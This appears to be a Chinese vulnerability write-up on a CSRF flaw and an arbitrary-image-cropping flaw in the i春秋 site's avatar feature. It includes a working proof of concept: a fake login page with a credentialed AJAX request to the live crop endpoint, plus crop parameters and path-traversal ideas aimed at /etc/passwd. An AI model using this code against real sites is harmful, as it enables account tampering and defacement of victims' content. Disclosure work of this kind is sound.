i春秋网站后台修改头像处, 存在csrf漏洞, 并且由csrf延伸到裁剪主站任意图片。
漏洞介绍
- i春秋主站的上传头像功能,在裁剪图片时存在csrf漏洞,导致可以修改用户的头像为攻击者指定的头像。
- 同时裁剪功能存在逻辑越权漏洞,导致攻击者可以裁剪站点
https://static2.ichunqiu.com/icq/
中的所有图片。
事情起因
当时正在上课,讲到PHP处理文件上传,需要找一个上传文件的HTML表单用来演示,就顺手打开了i春秋来分析文件上传的form表单。
长这个样子
脑子一发热,想到上传这个位置会不会有csrf漏洞。
csrf漏洞测试
想法来了,一发不可收拾,开搞
开发者工具分析一波,看看上传文件时有没有加token验证
i春秋在上传文件时,直接发送图片信息到服务器上。
并且会返回json数据,包含图片位置信息,直接访问图片地址,强制刷新页面就能访问到最新的图片。
尝试上传了多张图片,发现返回的地址都是一样的,同时分析路径信息,发现是当前日期+avatar+用户id。
i春秋存储图片时应该是按照日期存储,同时如果同一天上传过图片则直接覆盖之前的图片。最后的数字应该是用户的id,因为之前几次上传图片只是日期路径变化,最后的id没有变化,不同的用户最后的数字不一样,猜测是用户id。
页面中存在对图片的裁剪功能,裁剪完之后可以将图片进行保存。
裁剪图片后点击保存,对文件进行保存,分析提交的数据包,发现提交了一些参数
img=resources/upload/images/190809/avatar_517669.jpg&x=0&y=0&w=300&h=300&picpath=
发现服务器会根据客户端提供的图片的路径,坐标信息,对图片进行裁剪操作。裁剪后的图片将作为用户的头像。
CSRF
分析以上内容,发现网站在裁剪图片并且保存时,没有加入token参数进行验证,并且使用burp进行多次的数据重放,发现只要发送请求就可以修改用户的头像,存在csrf漏洞。
尝试构造csrf攻击代码,使用jquery进行编写csrf攻击代码,使用ajax完成攻击。编写钓鱼页面,加载攻击代码。
文件 index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>登录页面</title>
<link rel="stylesheet" type="text/css" href="css/login.css">
</head>
<body>
<div class="box">
<div class="top">
<h1>登录</h1>
</div>
<form action="login.php" method="post">
<input type="text" name="uname" placeholder="用户名">
<br>
<input type="password" name="upass" placeholder="密码">
<br>
<input class="input_code" type="text" name="verifycode" placeholder="验证码">
<img class="verifycode" src="https://passport.360.cn/captcha.php?m=create&app=i360&scene=login&userip=&level=default&sign=8820a4&r=1564540365&border=none&_=1564540365972">
<br>
<a class="getpass" href="getpass.php">忘记密码</a>
<br>
<input class="login" type="submit" name="submit" value="登录">
</form>
</div>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script type="text/javascript" src="js/icq_csrf_avatar.js"></script>
</body>
</html>
目录 js 文件 icq_csrf_avatar.js
$.ajax({
type: 'POST',
url: 'https://www.ichunqiu.com/personal/caijian',
dataType: 'json',
data: {
"img": "resources/upload/images/190809/avatar_517669.jpg",
"x": 0,
"y": 0,
"w": 300,
"h": 300,
"picpath": ""
},
xhrFields: {
withCredentials:true //支持附带详细信息,可以携带cookie
},
crossDomain: true,//请求偏向外域,支持跨域请求
success: function (data) {
console.log(data);
}
});
目录 css 文件 login.css
body {
background-image: url("https://static2.ichunqiu.com/icq/resources/fileupload/hot/1554287726317.jpg");
}
.box {
height: 500px;
width: 40%;
background: white;
margin: 150px 20% 0 40% ;
text-align: center;
}
.top {
padding-top: 20px;
}
input {
height: 43px;
width: 355px;
margin: 10px 0;
font-size: 17px;
}
.input_code {
width: 240px;
margin-left: 0px;
}
.verifycode {
margin-left: 10px;
height: 43px;
width: 100px;
}
.getpass {
margin-top: 50px;
margin-left: 50%;
}
.login {
background-color: #ff7900;
line-height: 40px;
color: #fff;
font-size: 14px;
border-radius: 2px;
}
将钓鱼链接发送给登录i春秋账户的小伙伴,让他们帮忙测试。
哈哈哈!成功给他改了头像,同时还发现一个操作,我在我的账户修改头像,所有被攻击的人的头像都会被修改。
主站任意图像裁剪
- 在测试csrf漏洞时,发现被csrf攻击的用户头像是不完整的,整个头像被裁剪后会发生变形同时还发现我自己的头像也被修改为变形图片。
- 经过分析csrf攻击参数中的坐标和图片的大小关联的,由于填写了不正确的坐标,导致图片被缩小。
- 图片上传之后的大小为
180*180
,然而我们裁剪的参数为234*234
,导致图片错误。
同时还发现在csrf攻击发生后,我自己的头像也被修改为变形图片。
进行分析之后发现,i春秋的图片裁剪功能是接收客户端中提交的图片地址和裁剪坐标,之后在后台对服务器
https://static2.ichunqiu.com/
中的图片进行裁剪操作,并且在裁剪后直接覆盖原始图片。这就导致我们可以将站点
https://static2.ichunqiu.com/
中的任意一张图片,进行任意大小的裁剪。甚至是主站的logo。在网站中找一个用户的头像进行裁剪测试。
图片的初始大小为
413*413
,尝试将图片缩小一圈,设置裁剪坐标。"img": "resources/upload/images/161011/1476161787349.jpg", "x": 3, "y": 3, "w": 410, "h": 410, "picpath": ""
测试发现图片会根据坐标进行裁剪,之后强制缩放为
180*180
的大小。到此测试i春秋主站任意图片剪切漏洞结束。
思考延伸
在裁剪图片时,需要提供图片地址
resources/upload/images/190810/avatar_517669.jpg
,图片路径在站点https://static2.ichunqiu.com/icq/
的icq目录下。如果需要裁剪其他路径下的图片可以使用
../../跳转到其他目录
。i春秋主站和静态资源站是分开的,但是上传图片时需要两台服务器进行通讯。
猜测上传文件时的通讯方式
- 1、静态资源站中有一个文件服务器,比如ftp、smb等,主站在接受到上传的图片后,使用
file_put_contents
进行写文件,如果使用这种方式,则需要主站的php配置allow_url_fopen=ON
。可以在之后的其他测试中利用。 - 2、静态资源站的目录被映射到主站的一个目录当中,直接操作主站文件就可以同步到静态资源。如果使用这种方式则在裁剪图片时可以跳转目录,裁剪主站系统中的文件。
- 3、其他。
- 1、静态资源站中有一个文件服务器,比如ftp、smb等,主站在接受到上传的图片后,使用
如果使用目录映射的方式,可能会造成更大的安全隐患,使用
../../
跳转根目录,裁剪/etc/passwd
文件,会造成什么样的结果。可惜网站有创宇盾,泪流满面ing!